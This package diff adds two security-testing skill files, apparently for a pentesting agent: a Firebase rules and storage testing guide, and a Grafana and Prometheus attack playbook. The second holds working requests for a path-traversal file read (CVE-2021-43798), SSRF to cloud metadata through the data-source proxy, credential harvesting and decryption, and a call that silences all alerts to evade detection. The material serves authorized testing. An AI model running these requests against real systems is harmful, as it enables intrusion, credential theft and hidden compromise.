@gpzhang2001/sharpkit-skills 0.2.1

package/skills/technologies/firebase.md

@@ -0,0 +1,263 @@
+---
+name: firebase
+description: Firebase security testing covering Firestore, Storage rules, Realtime Database, Auth, Functions, and client-side trust issues
+---
+
+# Firebase
+
+Security testing for Firebase applications. Focus on Firestore/Realtime Database rules, Cloud Storage exposure, callable/onRequest Functions trusting client input, and incorrect ID token validation.
+
+## Attack Surface
+
+**Data Stores**
+- Firestore (documents/collections, rules, REST/SDK)
+- Realtime Database (JSON tree, rules)
+- Cloud Storage (rules, signed URLs)
+
+**Authentication**
+- Auth ID tokens, custom claims, anonymous/sign-in providers
+- App Check attestation (and its limits)
+
+**Server-Side**
+- Cloud Functions (onCall/onRequest, triggers)
+- Admin SDK (bypasses rules)
+
+**Infrastructure**
+- Hosting rewrites, CDN/caching, CORS
+
+## Architecture
+
+**Endpoints**
+- Firestore REST: `https://firestore.googleapis.com/v1/projects/<project>/databases/(default)/documents/<path>`
+- Realtime DB: `https://<project>.firebaseio.com/.json`
+- GCS JSON API: `https://storage.googleapis.com/storage/v1/b/<bucket>`
+- Firebase Storage rules API: `https://firebasestorage.googleapis.com/v0/b/<bucket>/o`
+
+Cloud Storage has two front doors with different authorization engines:
+
+| Front door | Authorization engine |
+| --- | --- |
+| `storage.googleapis.com/<bucket>/<object>` and `/storage/v1/b/<bucket>` | GCS IAM and per-object ACLs |
+| `firebasestorage.googleapis.com/v0/b/<bucket>/o` | Firebase Storage Security Rules |
+
+A `403` from a GCS URL does not prove that Firebase Storage rules deny access. Always test both doors.
+
+**Auth**
+- Google-signed ID tokens (iss: `accounts.google.com` or `securetoken.google.com/<project>`)
+- Audience: `<project>` or `<app-id>`, identity in `sub`/`uid`
+- Rules engines: separate for Firestore, Realtime DB, and Storage
+- Functions bypass rules when using Admin SDK
+
+## High-Value Targets
+
+- Firestore collections with sensitive data (users, orders, payments)
+- Realtime Database root and high-level nodes
+- Cloud Storage buckets with private files
+- Cloud Functions (especially triggers that grant roles or issue signed URLs)
+- Admin/staff routes and privilege-granting endpoints
+- Export/report functions that generate signed outputs
+
+## Reconnaissance
+
+**Extract Project Config**
+
+From client bundle:
+```javascript
+// apiKey, authDomain, projectId, appId, storageBucket, messagingSenderId
+firebase.apps[0].options
+```
+
+**Obtain Principals**
+- Unauthenticated
+- Anonymous (if enabled)
+- Basic user A, user B
+- Staff/admin (if available)
+
+Capture ID tokens for each.
+
+## Key Vulnerabilities
+
+### Firestore Rules
+
+Rules are not filters—a query must include constraints that make the rule true for all returned documents.
+
+**Common Gaps**
+- `allow read: if request.auth != null` — any authenticated user reads all data
+- `allow write: if request.auth != null` — mass write access
+- Missing per-field validation (allows adding `isAdmin`/`role`/`tenantId` fields)
+- Using client-supplied `ownerId`/`orgId` instead of `resource.data.ownerId == request.auth.uid`
+- Over-broad list rules on root collections (per-doc checks exist but list still leaks)
+
+**Secure Patterns**
+```javascript
+// Restrict write fields
+request.resource.data.keys().hasOnly(['field1', 'field2', 'field3'])
+
+// Enforce ownership
+resource.data.ownerId == request.auth.uid &&
+request.resource.data.ownerId == request.auth.uid
+
+// Org membership check
+exists(/databases/(default)/documents/orgs/$(org)/members/$(request.auth.uid))
+```
+
+**Tests**
+- Compare results for users A/B on identical queries; diff counts and IDs
+- Cross-tenant reads: `where orgId == otherOrg`; try queries without org filter
+- Write-path: set/patch with foreign `ownerId`/`orgId`; attempt to flip privilege flags
+
+### Firestore Queries
+
+- Use REST to avoid SDK client-side constraints
+- Probe composite index requirements (UI-driven queries may hide missing rule coverage)
+- Explore `collectionGroup` queries that may bypass per-collection rules
+- Use `startAt`/`endAt`/`in`/`array-contains` to probe rule edges and pagination cursors
+
+### Realtime Database
+
+- Misconfigured rules frequently expose entire JSON trees
+- Probe `https://<project>.firebaseio.com/.json` with and without auth
+- Confirm rules use `auth.uid` and granular path checks
+- Avoid `.read/.write: true` or `auth != null` at high-level nodes
+- Attempt to write privilege-bearing nodes (roles, org membership)
+
+### Cloud Storage
+
+**Common Issues**
+- Public reads on sensitive buckets/paths
+- Signed URLs with long TTL, no content-disposition controls, replayable across tenants
+- List operations exposed: `/o?prefix=` enumerates object keys
+- Firebase Storage rules allowing unauthenticated or overly broad reads and writes
+
+**Firebase Storage rules checks**
+
+Probe the rules door separately from GCS IAM and ACLs:
+
+1. Unauthenticated list: `GET https://firebasestorage.googleapis.com/v0/b/<bucket>/o?prefix=<known-prefix>`
+2. Unauthenticated read of a known object path
+3. Unauthenticated write/upload to a uniquely named test object
+4. Repeat list, read, and write as an anonymous-auth principal when anonymous sign-in is enabled
+5. Repeat the same matrix as a low-privilege authenticated user
+
+Write access is as important as read access and is routinely missed. Record status, response body, and object existence after each attempt; clean up only test objects that the test principal created.
+
+Review rules source when present and flag:
+
+- `allow read, write: if request.time < timestamp.date(...)` — the common console test-mode time gate
+- `{allPaths=**}` catch-alls
+- `request.auth != null` as the sole authorization gate
+- Claim-presence checks such as `request.auth.token.roles.size() > 0` without role or tenant validation
+
+Storage rules use OR-across-matches semantics: a later permissive match can reopen a path that an earlier match denied. Review every matching path, not only the most specific-looking deny.
+
+**Bucket discovery**
+
+- Extract `storageBucket` from `firebase.apps[0].options` and `NEXT_PUBLIC_FIREBASE_*` values in JavaScript bundles and source.
+- Check `<project>.appspot.com` and `<project>.firebasestorage.app` bucket conventions.
+
+**ACL and IAM checks are separate**
+
+- Sweep object ACLs for `allUsers` and `allAuthenticatedUsers`, including objects made public by Admin SDK `makePublic()` or writers using `public: true`. Per-object public ACLs persist after Firebase rules are tightened and can remain on older prefixes.
+- Check bucket IAM for `allUsers` and `allAuthenticatedUsers`.
+- Check whether Uniform Bucket-Level Access is disabled; legacy object ACLs matter when it is off.
+- Account for CDN caching of previously public objects; cache-bust when verifying a revocation.
+
+**Tests**
+- GET GCS object paths via HTTPS without auth; verify Content-Type and `Content-Disposition: attachment`
+- Generate and reuse signed URLs across accounts and paths; try case/URL-encoding variants
+- Upload HTML/SVG and verify `X-Content-Type-Options: nosniff`; check for script execution
+
+### Cloud Functions
+
+`onCall` provides `context.auth` automatically; `onRequest` must verify ID tokens explicitly. Admin SDK bypasses rules—all ownership/tenant checks must be in code.
+
+**Common Gaps**
+- Trusting client `uid`/`orgId` from request body instead of `context.auth`
+- Missing `aud`/`iss` verification when manually parsing tokens
+- Over-broad CORS allowing credentialed cross-origin requests
+- Triggers (onCreate/onWrite) granting roles based on document content controlled by client
+
+**Tests**
+- Call both onCall and onRequest endpoints with varied tokens; expect identical decisions
+- Create crafted docs to trigger privilege-granting functions
+- Attempt SSRF via Functions to project/metadata endpoints
+
+### Auth & Token Issues
+
+**Verification Requirements**
+- Issuer, audience (project), signature (Google JWKS), expiration
+- Optionally App Check binding when used
+
+**Pitfalls**
+- Accepting any JWT with valid signature but wrong audience/project
+- Trusting `uid`/account IDs from request body instead of `context.auth.uid`
+- Mixing session cookies and ID tokens without verifying both paths equivalently
+- Custom claims copied into docs then trusted by app code
+
+**Tests**
+- Replay tokens across environments/projects; expect strict `aud`/`iss` rejection
+- Call Functions with and without Authorization; verify identical checks
+
+### App Check
+
+App Check is not a substitute for authorization.
+
+**Bypasses**
+- REST calls directly to googleapis endpoints with ID token succeed regardless of App Check
+- Mobile reverse engineering: hook client and reuse ID token flows without attestation
+
+**Tests**
+- Compare SDK vs REST behavior with/without App Check headers
+- Confirm no elevated authorization via App Check alone
+
+### Tenant Isolation
+
+Apps often implement multi-tenant data models (`orgs/<orgId>/...`). Bind tenant from server context (membership doc or custom claim), not client payload.
+
+**Tests**
+- Vary org header/subdomain/query while keeping token fixed; verify server denies cross-tenant access
+- Export/report Functions: ensure queries execute under caller scope
+
+## Bypass Techniques
+
+- Content-type switching: JSON vs form vs multipart to hit alternate code paths in onRequest
+- Parameter/field pollution: duplicate JSON keys (last-one-wins in many parsers); sneak privilege fields
+- Caching/CDN: Hosting rewrites keying responses without Authorization or tenant headers
+- Race windows: write then read before background enforcements complete
+
+## Blind Enumeration
+
+- Firestore: use error shape, document count, ETag/length to infer existence
+- Storage: length/timing differences on signed URL attempts leak validity
+- Functions: constant-time comparisons vs variable messages reveal authorization branches
+
+## Testing Methodology
+
+1. **Extract config** - Get project and storage bucket config from client bundles and source
+2. **Obtain principals** - Collect tokens for unauth, anonymous, user A/B, and admin where authorized
+3. **Build matrix** - Resource × Action × Principal across Firestore/Realtime/Storage/Functions
+4. **Exercise both Storage doors** - Test Firebase Storage rules endpoints separately from GCS IAM/ACL URLs
+5. **SDK vs REST** - Exercise every action via both to detect parity gaps
+6. **Seed IDs** - Start from list/query paths to gather document and object paths
+7. **Cross-principal** - Swap document paths, tenants, and user IDs across principals
+
+## Whitebox Rules Review
+
+- Inspect `firebase.json`, `.firebaserc`, deployment scripts, CI configuration, and infrastructure code for `storage.rules` / `firestore.rules` declarations.
+- If `firebase.json` has no `storage` or `firestore` block, or the referenced rules file is absent from the tree, treat the live rules as unmanaged and force the live probe matrix. Absence of rules IaC is itself a finding; never conclude that there is nothing to review.
+- Correlate configured rule files with deployed project and bucket identifiers. A source rule file for a different project does not establish live protection.
+
+## Tooling
+
+- SDK + REST: httpie/curl + jq for REST; Firebase emulator and Rules Playground for rapid iteration
+- Rules analysis: script probes for common patterns (`auth != null`, missing field validation)
+- Functions: fuzz onRequest with varied content-types and missing/forged Authorization
+- Storage: enumerate prefixes; test signed URL generation and reuse patterns
+
+## Validation Requirements
+
+- Owner vs non-owner Firestore queries showing unauthorized access or metadata leak
+- Firebase Storage unauthenticated, anonymous, or low-privilege read/list/write beyond intended scope, with minimal reproducible requests and observed deltas
+- GCS object ACL or bucket IAM access beyond intended scope, including public object persistence after rules changes
+- Function accepting forged/foreign identity (wrong `aud`/`iss`) or trusting client `uid`/`orgId`
+- Minimal reproducible requests with roles/tokens used and observed deltas

package/skills/technologies/grafana_prometheus.md

@@ -0,0 +1,189 @@
+---
+name: grafana-prometheus
+description: Grafana, Prometheus, Alertmanager and exporter security testing — turning exposed observability into SSRF, credential theft, RCE, and lateral movement into the internal network
+---
+
+# Grafana & Prometheus (Observability Stack)
+
+Observability stacks (Grafana + Prometheus + Alertmanager + Loki/Tempo/Jaeger + exporters) are among the highest-value pivots on a network. They are chronically exposed (300k+ internet-facing Grafana instances on Shodan), run with weak/no auth, hold plaintext credentials for every backend they touch, and sit in a network position that reaches internal services and cloud metadata. Treat a reachable observability endpoint not as the finding but as the **entry point**: the goal is to pivot from "monitoring is exposed" into data-source credential theft, SSRF into the internal network, cloud key compromise, RCE, and cluster/host takeover.
+
+## Attack Surface
+
+**Grafana** (default `:3000`)
+- Web UI + REST API (`/api/*`), login, org/user management, snapshots
+- Data sources: stored connection details + credentials for Prometheus, Loki, Tempo, MySQL/Postgres, Elasticsearch, InfluxDB, CloudWatch, Azure Monitor, etc.
+- Data source **proxy** (`/api/datasources/proxy/...`, `/api/ds/query`) — server-side HTTP client → SSRF primitive
+- Plugins (incl. Image Renderer, Infinity) — extra SSRF/RCE surface
+- Alerting → contact points/webhooks (outbound HTTP, another SSRF vector)
+
+**Prometheus** (default `:9090`)
+- Query API (`/api/v1/query`, `/graph`), config/target/status endpoints, federation, admin/lifecycle API
+
+**Alertmanager** (default `:9093`)
+- Alert/silence API (`/api/v2/*`), config with receiver credentials
+
+**Exporters / adjacent** — node_exporter (`:9100`), cAdvisor/kubelet (`:4194`/`:10250`), kube-state-metrics (`:8080`), Pushgateway (`:9091`), Loki (`:3100`), Tempo, Jaeger UI (`:16686`), Thanos/Cortex/Mimir/VictoriaMetrics
+
+## Reconnaissance
+
+**Fingerprint & version** (version drives which CVEs apply)
+```
+GET /api/health                     # Grafana: {"version":"...","commit":"..."}
+GET /api/frontend/settings          # buildInfo, enabled auth, datasource types
+GET /login                          # Grafana login page / footer version
+GET /api/v1/status/buildinfo        # Prometheus version
+GET /metrics                        # any exporter → prometheus/node/go_* series
+```
+
+**Auth posture — always test unauthenticated first**
+```
+GET /api/datasources                # Grafana: 200 = anon/viewer has admin-ish read
+GET /?orgId=1                        # anonymous access enabled? lands on dashboards
+GET /api/v1/targets                  # Prometheus: 200 = no auth
+GET /api/v2/status                   # Alertmanager: 200 = no auth
+```
+
+**Credential entry points**
+- Grafana default creds `admin:admin` (the first-login change prompt has a **Skip** button — ~1 in 5 internet-facing instances still accept it)
+- Anonymous org access (`auth.anonymous`), open sign-up, guest/viewer roles
+- Leaked Grafana API keys / service account tokens (`Authorization: Bearer glsa_...` / `eyJ...`) in JS bundles, git, CI logs
+
+## Key Vulnerabilities & CVEs
+
+### CVE-2021-43798 — Grafana pre-auth path traversal (arbitrary file read)
+Grafana 8.0.0-beta1 → 8.3.0. Directory traversal through the plugin static route reads any file the process can, **no auth required**. Every install ships pre-installed plugins, so the path always exists.
+```
+curl --path-as-is 'http://host:3000/public/plugins/mysql/../../../../../../../../etc/passwd'
+# other plugin ids that always exist: prometheus, graph, text, alertlist, table-old
+```
+High-value reads:
+- `/etc/grafana/grafana.ini` and `conf/defaults.ini` → `secret_key`, admin password, SMTP/LDAP creds
+- `/var/lib/grafana/grafana.db` (SQLite) → `data_source.secure_json_data` (AES-encrypted with `secret_key` → decrypt to recover backend passwords/tokens), session tokens, API key hashes
+- `/proc/self/environ`, cloud credential files (`~/.aws/credentials`, k8s SA token at `/var/run/secrets/kubernetes.io/serviceaccount/token`)
+
+### CVE-2024-9264 — Grafana SQL Expressions RCE + LFI (DuckDB)
+Grafana **v11.0.0–11.2.x** (10.x not affected). The experimental SQL Expressions feature passes user input to the `duckdb` CLI insufficiently sanitized → command injection + arbitrary file read. Enabled by default for the API (feature-flag bug); exploitable **only if the `duckdb` binary is in Grafana's `$PATH`** (not shipped by default). Any user with **Viewer or higher** can exploit. CVSS 9.4.
+- Probe: is `duckdb` present? Try the SQL Expressions query path; LFI via `read_csv`/`read_blob`-style functions, command injection via DuckDB's shell/`install`/`load` extension mechanics.
+- Mitigation you'll see: remove `duckdb` from PATH.
+
+### CVE-2025-4123 — Grafana open redirect + stored XSS → SSRF chain
+Double-encoded traversal (`..%2f`) into the client path/`/redirect` forwards the victim to an attacker origin that serves a malicious plugin manifest → JS executes in the trusted grafana origin (stored XSS). If the **Image Renderer** plugin is present, escalate to full-read SSRF:
+```
+POST /api/render?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
+```
+No creds needed when anonymous access is on (common in demo/lab).
+
+### CVE-2021-39226 / CVE-2024-1313 — Grafana snapshot auth bypass
+Unauthenticated view (and, with `public_mode`, delete) of the lowest-key snapshot via `/api/snapshots/:key` and `/dashboard/snapshot/:key`; CVE-2024-1313 lets a user in a *different org* delete snapshots by view key. Walk snapshot IDs to harvest dashboard data / leaked query values.
+
+### Prometheus / Alertmanager — exposure is the vuln (no auth by default)
+Prometheus and Alertmanager ship with **no authentication**; the docs explicitly say do not expose them. There is rarely a CVE — reachability itself is the finding, and the payoff is recon + credential leakage + pivoting (below).
+
+## Pivoting: Observability → Deeper Compromise
+
+This is the core value. Chain each exposure into something that matters. Always articulate the pivot in the finding, not just the exposed endpoint.
+
+### 1. Grafana data-source proxy → full-read SSRF (internal net + cloud metadata)
+Grafana OSS ships a **no-op URL validator** and an **empty `data_source_proxy_whitelist`** (empty = allow all). The proxy resolves the proxied path against the **selected data source's configured base URL**, so to reach an arbitrary host you must first create (or edit) a data source whose URL is the internal/metadata target — this needs data-source write permission (Editor/Admin, or any role granted `datasources:create`/`:write`). Reusing an ordinary Prometheus data-source id and appending a metadata path just hits Prometheus, not the metadata service — do not report that as SSRF. Once a data source points at the target, the proxy issues the request server-side and returns the **full response body**.
+```
+# Step 1: create/edit a data source with an attacker-chosen base URL, e.g.
+POST /api/datasources  {"name":"x","type":"prometheus","access":"proxy",
+                        "url":"http://169.254.169.254"}       # returns the new <id>
+# Step 2: relay through THAT data source's id (path appended to its base URL):
+GET /api/datasources/proxy/<id>/latest/meta-data/iam/security-credentials/<role>   # AWS IMDSv1
+# GCP: base url http://metadata.google.internal + header Metadata-Flavor: Google
+#      → /computeMetadata/v1/instance/service-accounts/default/token
+# Internal APIs, k8s API server, admin panels, other cloud services (one DS per host)
+```
+Pivot: metadata creds → cloud account; internal API reads → data; network mapping → next target. Also test the **alerting contact-point/webhook** (attacker-controlled outbound URL) and plugin SSRFs (e.g. Infinity CVE-2025-8341) as independent vectors. The **Image Renderer** is an SSRF vector too, but not via an arbitrary-URL proxy: it renders Grafana dashboard/panel render routes (`/render/d-solo/...`), so the SSRF arises when a render request is coerced to fetch an internal URL (e.g. chained with CVE-2025-4123), not from a `?url=` parameter.
+
+### 2. Grafana admin → harvest every backend credential
+Once authenticated (default creds, anon-admin, leaked token, or after CVE-2021-43798):
+```
+GET /api/datasources          # host, port, db, user for 5–15 backends
+GET /api/admin/settings        # SMTP, LDAP bind, OAuth secrets, DB DSN (grafana.ini runtime)
+```
+Grafana stores backend passwords/tokens encrypted (`secureJsonData`) — the API won't echo them, but you can (a) use the data source proxy to **query the backend directly through Grafana** (no plaintext needed), or (b) decrypt `grafana.db` `secure_json_data` with the leaked `secret_key` (from grafana.ini) offline. Each recovered credential (Postgres, MySQL, Elasticsearch, CloudWatch/Azure keys) is a fresh pivot into that system.
+
+### 3. Prometheus config/targets → leaked scrape credentials + inventory
+```
+GET /api/v1/status/config      # loaded prometheus.yml
+GET /api/v1/targets            # every scrape target + discovery metadata labels
+```
+Prometheus renders secret-typed fields (`basic_auth.password`, `authorization.credentials`, bearer tokens, OAuth client secrets — including inside `remote_write`/`remote_read`) as `<secret>` in the config response, so do **not** report those as leaked unless the actual value is shown. What genuinely leaks: **usernames** (`basic_auth.username`), and — critically — **credentials embedded in target/endpoint URLs** (`https://user:pass@host/...`), which are *not* masked. `remote_write`/`remote_read` blocks still reveal internal backend endpoints (Grafana Cloud/Cortex/Mimir/Thanos hosts) and usernames even with secrets redacted. `kubernetes_sd_configs` and cloud SD expose internal DNS and can surface creds via URL fields. Target lists + `__meta_*`/`__address__` labels = a free internal network map (hostnames, ports, k8s namespaces, cloud instance IDs).
+
+### 4. PromQL / metrics → internal topology, versions → known-CVE targeting
+Metrics are a recon goldmine. Query without auth:
+```
+GET /api/v1/query?query=up                          # every monitored service (host:port)
+GET /api/v1/query?query=node_uname_info             # kernel/OS/host
+GET /api/v1/query?query=node_dmi_info               # cloud provider / hardware
+GET /api/v1/query?query=node_network_info           # interfaces, internal IPs/MACs
+GET /api/v1/query?query=kube_pod_info               # pods, namespaces, node IPs (KSM)
+GET /api/v1/query?query=kube_node_info              # node hostnames, kubelet/kubeproxy versions
+GET /api/v1/query?query={__name__=~"..._build_info"} # exact component versions
+GET /api/v1/label/__name__/values                   # enumerate all metric names → app inventory
+GET /federate?match[]={__name__=~".%2b"}             # bulk-exfil series via federation
+```
+Pivot: exact versions (`*_build_info`, `kube_node_info`) → map to CVEs and attack the vulnerable components; `up`/`kube_pod_info` → target list of internal services normally invisible from outside. cAdvisor/kubelet and kube-state-metrics reveal container images, args, labels (sometimes secrets in env-derived labels), and full cluster layout.
+
+### 5. Alertmanager → credential theft, SSRF, and alert suppression (anti-forensics)
+```
+GET /api/v2/status             # config (receiver creds often masked, structure/routes leak)
+POST /api/v2/silences          # unauth in default deploys → silence ALL alerts
+```
+- Receiver config (`alertmanager.yml`) holds **plaintext** Slack webhook URLs, PagerDuty routing keys, SMTP passwords, OpsGenie/VictorOps keys — steal via file read (CVE-2021-43798 style) or config access; reuse to spoof alerts / social-engineer on-call.
+- Webhook receivers = SSRF: if you can influence the receiver URL, point it at internal endpoints.
+- Silence abuse: `POST /api/v2/silences` with matcher `alertname=~".+"` for 30d suppresses security/ops alerting while you operate — call this out as a **detection-evasion** impact.
+
+### 6. Logs/traces backends (Loki, Tempo, Jaeger) → secrets in transit
+Exposed Loki (`/loki/api/v1/query_range`), Tempo, and Jaeger UI (`:16686`) frequently contain **request bodies, headers, tokens, session cookies, SQL, and stack traces** captured from real traffic. Query them for `authorization`, `password`, `token`, `set-cookie`, PII. A single logged bearer token or session cookie is a direct account/service takeover.
+
+## Testing Methodology
+
+1. **Discover** stack ports/services (`:3000/:9090/:9093/:9100/:3100/:16686`, `/metrics`, `/api/health`).
+2. **Fingerprint versions** → shortlist applicable CVEs (43798, 9264, 4123, 39226/1313, Infinity 8341).
+3. **Auth matrix** — unauth vs anon vs viewer vs default creds vs leaked token, per component.
+4. **Recon-pivot** — pull Prometheus config/targets + PromQL inventory; enumerate Grafana `/api/datasources`.
+5. **SSRF-pivot** — data source proxy / render / webhook → internal services + `169.254.169.254`.
+6. **Credential-pivot** — file read (43798) → `secret_key` → decrypt `grafana.db`; scrape/remote_write/receiver creds; then reuse against each backend.
+7. **Deepen** — RCE (9264 if `duckdb` present), cloud account via metadata, k8s SA token, DB access; demonstrate real impact.
+
+## Validation
+
+- SSRF: show the **full body** of an internal-only URL (metadata creds, internal API JSON) returned through Grafana — not just a timing/blind signal.
+- Credential theft: show the leaked secret AND prove reuse (authenticate to the backend / cloud), or clearly explain the reuse path.
+- File read (43798): return contents of `/etc/passwd` or `grafana.ini` with `--path-as-is`; note affected version.
+- RCE (9264): confirm `duckdb` in PATH first; demonstrate command execution or file read; note version 11.x.
+- Recon: for Prometheus/Alertmanager exposure, pair the open endpoint with the concrete sensitive data recovered (leaked creds, internal inventory) so the finding shows impact, not just "it's reachable".
+
+## False Positives / Down-rate
+
+- Endpoint reachable only from localhost / same trusted segment by design, behind an authenticating reverse proxy (test through the real ingress).
+- Grafana Enterprise (real URL validator) or OSS with a configured `data_source_proxy_whitelist` → SSRF blocked.
+- CVE-2024-9264 with **no `duckdb` in PATH** → not exploitable (do not report as RCE).
+- Patched versions (Grafana ≥ the fixed release for each CVE; check `/api/health`).
+- **Demo/sandbox instances with synthetic data** — down-rate per demo-data guidance; exposed monitoring of a throwaway target is low impact.
+- Metrics that are genuinely public/non-sensitive (e.g. an intentionally public status page).
+
+## Impact
+
+- Cloud account compromise (metadata creds via SSRF), internal network read access, and network mapping.
+- Theft of every backend credential Grafana/Prometheus/Alertmanager touches → lateral movement into DBs, Elasticsearch, cloud APIs.
+- RCE on the Grafana host (CVE-2024-9264) and arbitrary file read (CVE-2021-43798).
+- Kubernetes cluster recon → SA token / kubelet exposure → cluster compromise.
+- Alert suppression for detection evasion; secret/PII exposure via logs & traces.
+
+## Pro Tips
+
+1. Always fingerprint the version first (`/api/health`, `/api/v1/status/buildinfo`) — it decides RCE vs read vs recon.
+2. The exposed dashboard is never the finding; the pivot is. Chain to metadata creds, backend creds, or RCE before reporting.
+3. Prometheus `<secret>` masking is incomplete — hunt usernames and **URL-embedded creds** in `/api/v1/status/config` and `remote_write`.
+4. Grafana can query its own backends for you via the data source proxy — you don't need the plaintext password to exfil data.
+5. `*_build_info` and `kube_node_info` metrics hand you exact component versions — turn them straight into CVE targets.
+6. Pair with `ssrf`, `information_disclosure`, `kubernetes`, `aws`/`gcp`, and `authentication_jwt` skills; use `nuclei` templates (`grafana-*`, `prometheus-*`) for fast triage.
+7. On k8s, an exposed Prometheus/KSM often reveals the whole cluster topology and image versions with zero auth — prioritize it as a recon multiplier.
+
+## Summary
+
+Grafana and Prometheus are pivot engines, not endpoints. Grafana holds plaintext-recoverable credentials for every backend, proxies arbitrary server-side requests by default (SSRF → cloud metadata), reads arbitrary files (CVE-2021-43798), and can hit RCE (CVE-2024-9264). Prometheus/Alertmanager expose internal inventory, versions, and scrape/receiver credentials with no auth. Treat any reachable observability service as a launch point into the internal network, cloud account, databases, and cluster — and prove the pivot.